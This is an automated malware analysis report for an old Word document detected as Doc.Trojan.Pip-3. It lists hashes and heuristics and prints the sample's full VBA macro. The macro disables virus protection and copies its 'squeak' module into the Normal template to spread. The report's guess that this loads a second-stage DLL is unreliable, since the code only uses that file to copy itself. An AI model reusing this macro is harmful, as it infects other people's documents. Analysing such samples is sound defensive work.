Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e17b19a29cd9b7a1…

MALICIOUS

Office (OLE)

26.5 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ff8472c855d0b0bac7dd5deeaa6d877b SHA-1: 175031e2c16b64ad2022f315fa73e80591feef18 SHA-256: e17b19a29cd9b7a135635b354d4448bd0014ae19632adf3b39cc1721f27f24d1
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a WordBasic AutoClose macro. This macro is designed to export a component named 'squeak' to 'c:\squeak.dll' and then import it into either the Normal template or the active document. This behavior strongly suggests the document is a loader for a second-stage payload, likely a DLL.

Heuristics 4

  • ClamAV: Doc.Trojan.Pip-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pip-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 710 bytes
SHA-256: 1d5ef51652a228e448569d67a88431e32f19421a370e29eb9a35ad73d4a8754f
Detection
ClamAV: Doc.Trojan.Pip-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "squeak"
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = False
Set norm = NormalTemplate.VBProject.VBComponents: Set doc = ActiveDocument.VBProject.VBComponents
If norm.Item("squeak").Name <> "squeak" Then
  doc("squeak").Export "c:\squeak.dll"
  norm.Import ("c:\squeak.dll")
ElseIf doc.Item("squeak").Name <> "squeak" Then
  norm("squeak").Export "c:\squeak.dll"
  doc.Import ("c:\squeak.dll")
End If
End Sub